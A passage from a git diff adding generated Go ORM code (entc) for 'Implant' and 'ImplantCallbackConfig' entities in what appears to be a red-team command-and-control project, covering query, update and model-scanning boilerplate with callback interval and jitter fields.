if v, err = igb.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantGroupBy.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (igb *ImplantGroupBy) Float64X(ctx context.Context) float64 { + v, err := igb.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from group-by. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Bools(ctx context.Context) ([]bool, error) { + if len(igb.fields) > 1 { + return nil, errors.New("ent: ImplantGroupBy.Bools is not achievable when grouping more than 1 field") + } + var v []bool + if err := igb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (igb *ImplantGroupBy) BoolsX(ctx context.Context) []bool { + v, err := igb.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (igb *ImplantGroupBy) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = igb.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantGroupBy.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (igb *ImplantGroupBy) BoolX(ctx context.Context) bool { + v, err := igb.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (igb *ImplantGroupBy) sqlScan(ctx context.Context, v interface{}) error { + for _, f := range igb.fields { + if !implant.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("invalid field %q for group-by", f)} + } + } + selector := igb.sqlQuery() + if err := selector.Err(); err != nil { + return err + } + rows := &sql.Rows{} + query, args := selector.Query() + if err := igb.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} + +func (igb *ImplantGroupBy) sqlQuery() *sql.Selector { + selector := igb.sql.Select() + aggregation := make([]string, 0, len(igb.fns)) + for _, fn := range igb.fns { + aggregation = append(aggregation, fn(selector)) + } + // If no columns were selected in a custom aggregation function, the default + // selection is the fields used for "group-by", and the aggregation functions. + if len(selector.SelectedColumns()) == 0 { + columns := make([]string, 0, len(igb.fields)+len(igb.fns)) + for _, f := range igb.fields { + columns = append(columns, selector.C(f)) + } + columns = append(columns, aggregation...) + selector.Select(columns...) + } + return selector.GroupBy(selector.Columns(igb.fields...)...) +} + +// ImplantSelect is the builder for selecting fields of Implant entities. +type ImplantSelect struct { + *ImplantQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector +} + +// Scan applies the selector query and scans the result into the given value. +func (is *ImplantSelect) Scan(ctx context.Context, v interface{}) error { + if err := is.prepareQuery(ctx); err != nil { + return err + } + is.sql = is.ImplantQuery.sqlQuery(ctx) + return is.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (is *ImplantSelect) ScanX(ctx context.Context, v interface{}) { + if err := is.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Strings(ctx context.Context) ([]string, error) { + if len(is.fields) > 1 { + return nil, errors.New("ent: ImplantSelect.Strings is not achievable when selecting more than 1 field") + } + var v []string + if err := is.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (is *ImplantSelect) StringsX(ctx context.Context) []string { + v, err := is.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = is.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantSelect.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (is *ImplantSelect) StringX(ctx context.Context) string { + v, err := is.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Ints(ctx context.Context) ([]int, error) { + if len(is.fields) > 1 { + return nil, errors.New("ent: ImplantSelect.Ints is not achievable when selecting more than 1 field") + } + var v []int + if err := is.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (is *ImplantSelect) IntsX(ctx context.Context) []int { + v, err := is.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = is.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantSelect.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (is *ImplantSelect) IntX(ctx context.Context) int { + v, err := is.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Float64s(ctx context.Context) ([]float64, error) { + if len(is.fields) > 1 { + return nil, errors.New("ent: ImplantSelect.Float64s is not achievable when selecting more than 1 field") + } + var v []float64 + if err := is.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (is *ImplantSelect) Float64sX(ctx context.Context) []float64 { + v, err := is.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = is.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantSelect.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (is *ImplantSelect) Float64X(ctx context.Context) float64 { + v, err := is.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Bools(ctx context.Context) ([]bool, error) { + if len(is.fields) > 1 { + return nil, errors.New("ent: ImplantSelect.Bools is not achievable when selecting more than 1 field") + } + var v []bool + if err := is.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (is *ImplantSelect) BoolsX(ctx context.Context) []bool { + v, err := is.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a selector. It is only allowed when selecting one field. +func (is *ImplantSelect) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = is.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implant.Label} + default: + err = fmt.Errorf("ent: ImplantSelect.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (is *ImplantSelect) BoolX(ctx context.Context) bool { + v, err := is.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (is *ImplantSelect) sqlScan(ctx context.Context, v interface{}) error { + rows := &sql.Rows{} + query, args := is.sql.Query() + if err := is.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} diff --git a/ent/implant_update.go b/ent/implant_update.go new file mode 100644 index 000000000..cbd0d88fd --- /dev/null +++ b/ent/implant_update.go @@ -0,0 +1,585 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/predicate" + "github.com/kcarretto/realm/ent/target" +) + +// ImplantUpdate is the builder for updating Implant entities. +type ImplantUpdate struct { + config + hooks []Hook + mutation *ImplantMutation +} + +// Where appends a list predicates to the ImplantUpdate builder. +func (iu *ImplantUpdate) Where(ps ...predicate.Implant) *ImplantUpdate { + iu.mutation.Where(ps...) + return iu +} + +// SetSessionID sets the "sessionID" field. +func (iu *ImplantUpdate) SetSessionID(s string) *ImplantUpdate { + iu.mutation.SetSessionID(s) + return iu +} + +// SetProcessName sets the "processName" field. +func (iu *ImplantUpdate) SetProcessName(s string) *ImplantUpdate { + iu.mutation.SetProcessName(s) + return iu +} + +// SetNillableProcessName sets the "processName" field if the given value is not nil. +func (iu *ImplantUpdate) SetNillableProcessName(s *string) *ImplantUpdate { + if s != nil { + iu.SetProcessName(*s) + } + return iu +} + +// ClearProcessName clears the value of the "processName" field. +func (iu *ImplantUpdate) ClearProcessName() *ImplantUpdate { + iu.mutation.ClearProcessName() + return iu +} + +// SetTargetID sets the "target" edge to the Target entity by ID. +func (iu *ImplantUpdate) SetTargetID(id int) *ImplantUpdate { + iu.mutation.SetTargetID(id) + return iu +} + +// SetTarget sets the "target" edge to the Target entity. +func (iu *ImplantUpdate) SetTarget(t *Target) *ImplantUpdate { + return iu.SetTargetID(t.ID) +} + +// SetConfigID sets the "config" edge to the ImplantConfig entity by ID. +func (iu *ImplantUpdate) SetConfigID(id int) *ImplantUpdate { + iu.mutation.SetConfigID(id) + return iu +} + +// SetConfig sets the "config" edge to the ImplantConfig entity. +func (iu *ImplantUpdate) SetConfig(i *ImplantConfig) *ImplantUpdate { + return iu.SetConfigID(i.ID) +} + +// Mutation returns the ImplantMutation object of the builder. +func (iu *ImplantUpdate) Mutation() *ImplantMutation { + return iu.mutation +} + +// ClearTarget clears the "target" edge to the Target entity. +func (iu *ImplantUpdate) ClearTarget() *ImplantUpdate { + iu.mutation.ClearTarget() + return iu +} + +// ClearConfig clears the "config" edge to the ImplantConfig entity. +func (iu *ImplantUpdate) ClearConfig() *ImplantUpdate { + iu.mutation.ClearConfig() + return iu +} + +// Save executes the query and returns the number of nodes affected by the update operation. +func (iu *ImplantUpdate) Save(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(iu.hooks) == 0 { + if err = iu.check(); err != nil { + return 0, err + } + affected, err = iu.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iu.check(); err != nil { + return 0, err + } + iu.mutation = mutation + affected, err = iu.sqlSave(ctx) + mutation.done = true + return affected, err + }) + for i := len(iu.hooks) - 1; i >= 0; i-- { + if iu.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iu.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iu.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// SaveX is like Save, but panics if an error occurs. +func (iu *ImplantUpdate) SaveX(ctx context.Context) int { + affected, err := iu.Save(ctx) + if err != nil { + panic(err) + } + return affected +} + +// Exec executes the query. +func (iu *ImplantUpdate) Exec(ctx context.Context) error { + _, err := iu.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iu *ImplantUpdate) ExecX(ctx context.Context) { + if err := iu.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iu *ImplantUpdate) check() error { + if v, ok := iu.mutation.SessionID(); ok { + if err := implant.SessionIDValidator(v); err != nil { + return &ValidationError{Name: "sessionID", err: fmt.Errorf(`ent: validator failed for field "Implant.sessionID": %w`, err)} + } + } + if _, ok := iu.mutation.TargetID(); iu.mutation.TargetCleared() && !ok { + return errors.New(`ent: clearing a required unique edge "Implant.target"`) + } + if _, ok := iu.mutation.ConfigID(); iu.mutation.ConfigCleared() && !ok { + return errors.New(`ent: clearing a required unique edge "Implant.config"`) + } + return nil +} + +func (iu *ImplantUpdate) sqlSave(ctx context.Context) (n int, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implant.Table, + Columns: implant.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + if ps := iu.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := iu.mutation.SessionID(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implant.FieldSessionID, + }) + } + if value, ok := iu.mutation.ProcessName(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implant.FieldProcessName, + }) + } + if iu.mutation.ProcessNameCleared() { + _spec.Fields.Clear = append(_spec.Fields.Clear, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Column: implant.FieldProcessName, + }) + } + if iu.mutation.TargetCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.TargetTable, + Columns: []string{implant.TargetColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: target.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iu.mutation.TargetIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.TargetTable, + Columns: []string{implant.TargetColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: target.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if iu.mutation.ConfigCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.ConfigTable, + Columns: []string{implant.ConfigColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iu.mutation.ConfigIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.ConfigTable, + Columns: []string{implant.ConfigColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if n, err = sqlgraph.UpdateNodes(ctx, iu.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implant.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return 0, err + } + return n, nil +} + +// ImplantUpdateOne is the builder for updating a single Implant entity. +type ImplantUpdateOne struct { + config + fields []string + hooks []Hook + mutation *ImplantMutation +} + +// SetSessionID sets the "sessionID" field. +func (iuo *ImplantUpdateOne) SetSessionID(s string) *ImplantUpdateOne { + iuo.mutation.SetSessionID(s) + return iuo +} + +// SetProcessName sets the "processName" field. +func (iuo *ImplantUpdateOne) SetProcessName(s string) *ImplantUpdateOne { + iuo.mutation.SetProcessName(s) + return iuo +} + +// SetNillableProcessName sets the "processName" field if the given value is not nil. +func (iuo *ImplantUpdateOne) SetNillableProcessName(s *string) *ImplantUpdateOne { + if s != nil { + iuo.SetProcessName(*s) + } + return iuo +} + +// ClearProcessName clears the value of the "processName" field. +func (iuo *ImplantUpdateOne) ClearProcessName() *ImplantUpdateOne { + iuo.mutation.ClearProcessName() + return iuo +} + +// SetTargetID sets the "target" edge to the Target entity by ID. +func (iuo *ImplantUpdateOne) SetTargetID(id int) *ImplantUpdateOne { + iuo.mutation.SetTargetID(id) + return iuo +} + +// SetTarget sets the "target" edge to the Target entity. +func (iuo *ImplantUpdateOne) SetTarget(t *Target) *ImplantUpdateOne { + return iuo.SetTargetID(t.ID) +} + +// SetConfigID sets the "config" edge to the ImplantConfig entity by ID. +func (iuo *ImplantUpdateOne) SetConfigID(id int) *ImplantUpdateOne { + iuo.mutation.SetConfigID(id) + return iuo +} + +// SetConfig sets the "config" edge to the ImplantConfig entity. +func (iuo *ImplantUpdateOne) SetConfig(i *ImplantConfig) *ImplantUpdateOne { + return iuo.SetConfigID(i.ID) +} + +// Mutation returns the ImplantMutation object of the builder. +func (iuo *ImplantUpdateOne) Mutation() *ImplantMutation { + return iuo.mutation +} + +// ClearTarget clears the "target" edge to the Target entity. +func (iuo *ImplantUpdateOne) ClearTarget() *ImplantUpdateOne { + iuo.mutation.ClearTarget() + return iuo +} + +// ClearConfig clears the "config" edge to the ImplantConfig entity. +func (iuo *ImplantUpdateOne) ClearConfig() *ImplantUpdateOne { + iuo.mutation.ClearConfig() + return iuo +} + +// Select allows selecting one or more fields (columns) of the returned entity. +// The default is selecting all fields defined in the entity schema. +func (iuo *ImplantUpdateOne) Select(field string, fields ...string) *ImplantUpdateOne { + iuo.fields = append([]string{field}, fields...) + return iuo +} + +// Save executes the query and returns the updated Implant entity. +func (iuo *ImplantUpdateOne) Save(ctx context.Context) (*Implant, error) { + var ( + err error + node *Implant + ) + if len(iuo.hooks) == 0 { + if err = iuo.check(); err != nil { + return nil, err + } + node, err = iuo.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = iuo.check(); err != nil { + return nil, err + } + iuo.mutation = mutation + node, err = iuo.sqlSave(ctx) + mutation.done = true + return node, err + }) + for i := len(iuo.hooks) - 1; i >= 0; i-- { + if iuo.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iuo.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iuo.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX is like Save, but panics if an error occurs. +func (iuo *ImplantUpdateOne) SaveX(ctx context.Context) *Implant { + node, err := iuo.Save(ctx) + if err != nil { + panic(err) + } + return node +} + +// Exec executes the query on the entity. +func (iuo *ImplantUpdateOne) Exec(ctx context.Context) error { + _, err := iuo.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iuo *ImplantUpdateOne) ExecX(ctx context.Context) { + if err := iuo.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (iuo *ImplantUpdateOne) check() error { + if v, ok := iuo.mutation.SessionID(); ok { + if err := implant.SessionIDValidator(v); err != nil { + return &ValidationError{Name: "sessionID", err: fmt.Errorf(`ent: validator failed for field "Implant.sessionID": %w`, err)} + } + } + if _, ok := iuo.mutation.TargetID(); iuo.mutation.TargetCleared() && !ok { + return errors.New(`ent: clearing a required unique edge "Implant.target"`) + } + if _, ok := iuo.mutation.ConfigID(); iuo.mutation.ConfigCleared() && !ok { + return errors.New(`ent: clearing a required unique edge "Implant.config"`) + } + return nil +} + +func (iuo *ImplantUpdateOne) sqlSave(ctx context.Context) (_node *Implant, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implant.Table, + Columns: implant.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + id, ok := iuo.mutation.ID() + if !ok { + return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "Implant.id" for update`)} + } + _spec.Node.ID.Value = id + if fields := iuo.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implant.FieldID) + for _, f := range fields { + if !implant.ValidColumn(f) { + return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + if f != implant.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, f) + } + } + } + if ps := iuo.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := iuo.mutation.SessionID(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implant.FieldSessionID, + }) + } + if value, ok := iuo.mutation.ProcessName(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implant.FieldProcessName, + }) + } + if iuo.mutation.ProcessNameCleared() { + _spec.Fields.Clear = append(_spec.Fields.Clear, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Column: implant.FieldProcessName, + }) + } + if iuo.mutation.TargetCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.TargetTable, + Columns: []string{implant.TargetColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: target.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iuo.mutation.TargetIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.TargetTable, + Columns: []string{implant.TargetColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: target.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if iuo.mutation.ConfigCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.ConfigTable, + Columns: []string{implant.ConfigColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := iuo.mutation.ConfigIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2O, + Inverse: false, + Table: implant.ConfigTable, + Columns: []string{implant.ConfigColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + _node = &Implant{config: iuo.config} + _spec.Assign = _node.assignValues + _spec.ScanValues = _node.scanValues + if err = sqlgraph.UpdateNode(ctx, iuo.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implant.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + return _node, nil +} diff --git a/ent/implantcallbackconfig.go b/ent/implantcallbackconfig.go new file mode 100644 index 000000000..59f16ce62 --- /dev/null +++ b/ent/implantcallbackconfig.go @@ -0,0 +1,170 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "fmt" + "strings" + + "entgo.io/ent/dialect/sql" + "github.com/kcarretto/realm/ent/implantcallbackconfig" +) + +// ImplantCallbackConfig is the model entity for the ImplantCallbackConfig schema. +type ImplantCallbackConfig struct { + config `json:"-"` + // ID of the ent. + ID int `json:"id,omitempty"` + // URI holds the value of the "uri" field. + // URI the implant should use for checking in. + URI string `json:"uri,omitempty"` + // Priority holds the value of the "priority" field. + // The priority of using this callback config (lower is better). + Priority int `json:"priority,omitempty"` + // Timeout holds the value of the "timeout" field. + // The maximum time to wait before attempting the next callback config (seconds). + Timeout int `json:"timeout,omitempty"` + // Interval holds the value of the "interval" field. + // The maximum duration between callbacks (seconds). + Interval int `json:"interval,omitempty"` + // Jitter holds the value of the "jitter" field. + // The maximum random splay to subtract from the callback interval (seconds). + Jitter int `json:"jitter,omitempty"` + // Edges holds the relations/edges for other nodes in the graph. + // The values are being populated by the ImplantCallbackConfigQuery when eager-loading is set. + Edges ImplantCallbackConfigEdges `json:"edges"` +} + +// ImplantCallbackConfigEdges holds the relations/edges for other nodes in the graph. +type ImplantCallbackConfigEdges struct { + // ImplantConfigs holds the value of the implantConfigs edge. + ImplantConfigs []*ImplantConfig `json:"implantConfigs,omitempty"` + // loadedTypes holds the information for reporting if a + // type was loaded (or requested) in eager-loading or not. + loadedTypes [1]bool +} + +// ImplantConfigsOrErr returns the ImplantConfigs value or an error if the edge +// was not loaded in eager-loading. +func (e ImplantCallbackConfigEdges) ImplantConfigsOrErr() ([]*ImplantConfig, error) { + if e.loadedTypes[0] { + return e.ImplantConfigs, nil + } + return nil, &NotLoadedError{edge: "implantConfigs"} +} + +// scanValues returns the types for scanning values from sql.Rows. +func (*ImplantCallbackConfig) scanValues(columns []string) ([]interface{}, error) { + values := make([]interface{}, len(columns)) + for i := range columns { + switch columns[i] { + case implantcallbackconfig.FieldID, implantcallbackconfig.FieldPriority, implantcallbackconfig.FieldTimeout, implantcallbackconfig.FieldInterval, implantcallbackconfig.FieldJitter: + values[i] = new(sql.NullInt64) + case implantcallbackconfig.FieldURI: + values[i] = new(sql.NullString) + default: + return nil, fmt.Errorf("unexpected column %q for type ImplantCallbackConfig", columns[i]) + } + } + return values, nil +} + +// assignValues assigns the values that were returned from sql.Rows (after scanning) +// to the ImplantCallbackConfig fields. +func (icc *ImplantCallbackConfig) assignValues(columns []string, values []interface{}) error { + if m, n := len(values), len(columns); m < n { + return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) + } + for i := range columns { + switch columns[i] { + case implantcallbackconfig.FieldID: + value, ok := values[i].(*sql.NullInt64) + if !ok { + return fmt.Errorf("unexpected type %T for field id", value) + } + icc.ID = int(value.Int64) + case implantcallbackconfig.FieldURI: + if value, ok := values[i].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field uri", values[i]) + } else if value.Valid { + icc.URI = value.String + } + case implantcallbackconfig.FieldPriority: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for field priority", values[i]) + } else if value.Valid { + icc.Priority = int(value.Int64) + } + case implantcallbackconfig.FieldTimeout: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for field timeout", values[i]) + } else if value.Valid { + icc.Timeout = int(value.Int64) + } + case implantcallbackconfig.FieldInterval: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for field interval", values[i]) + } else if value.Valid { + icc.Interval = int(value.Int64) + } + case implantcallbackconfig.FieldJitter: + if value, ok := values[i].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for field jitter", values[i]) + } else if value.Valid { + icc.Jitter = int(value.Int64) + } + } + } + return nil +} + +// QueryImplantConfigs queries the "implantConfigs" edge of the ImplantCallbackConfig entity. +func (icc *ImplantCallbackConfig) QueryImplantConfigs() *ImplantConfigQuery { + return (&ImplantCallbackConfigClient{config: icc.config}).QueryImplantConfigs(icc) +} + +// Update returns a builder for updating this ImplantCallbackConfig. +// Note that you need to call ImplantCallbackConfig.Unwrap() before calling this method if this ImplantCallbackConfig +// was returned from a transaction, and the transaction was committed or rolled back. +func (icc *ImplantCallbackConfig) Update() *ImplantCallbackConfigUpdateOne { + return (&ImplantCallbackConfigClient{config: icc.config}).UpdateOne(icc) +} + +// Unwrap unwraps the ImplantCallbackConfig entity that was returned from a transaction after it was closed, +// so that all future queries will be executed through the driver which created the transaction. +func (icc *ImplantCallbackConfig) Unwrap() *ImplantCallbackConfig { + tx, ok := icc.config.driver.(*txDriver) + if !ok { + panic("ent: ImplantCallbackConfig is not a transactional entity") + } + icc.config.driver = tx.drv + return icc +} + +// String implements the fmt.Stringer. +func (icc *ImplantCallbackConfig) String() string { + var builder strings.Builder + builder.WriteString("ImplantCallbackConfig(") + builder.WriteString(fmt.Sprintf("id=%v", icc.ID)) + builder.WriteString(", uri=") + builder.WriteString(icc.URI) + builder.WriteString(", priority=") + builder.WriteString(fmt.Sprintf("%v", icc.Priority)) + builder.WriteString(", timeout=") + builder.WriteString(fmt.Sprintf("%v", icc.Timeout)) + builder.WriteString(", interval=") + builder.WriteString(fmt.Sprintf("%v", icc.Interval)) + builder.WriteString(", jitter=") + builder.WriteString(fmt.Sprintf("%v", icc.Jitter)) + builder.WriteByte(')') + return builder.String() +} + +// ImplantCallbackConfigs is a parsable slice of ImplantCallbackConfig. +type ImplantCallbackConfigs []*ImplantCallbackConfig + +func (icc ImplantCallbackConfigs) config(cfg config) { + for _i := range icc { + icc[_i].config = cfg + } +} diff --git a/ent/implantcallbackconfig/implantcallbackconfig.go b/ent/implantcallbackconfig/implantcallbackconfig.go new file mode 100644 index 000000000..37e3e0efc --- /dev/null +++ b/ent/implantcallbackconfig/implantcallbackconfig.go @@ -0,0 +1,76 @@ +// Code generated by entc, DO NOT EDIT. + +package implantcallbackconfig + +const ( + // Label holds the string label denoting the implantcallbackconfig type in the database. + Label = "implant_callback_config" + // FieldID holds the string denoting the id field in the database. + 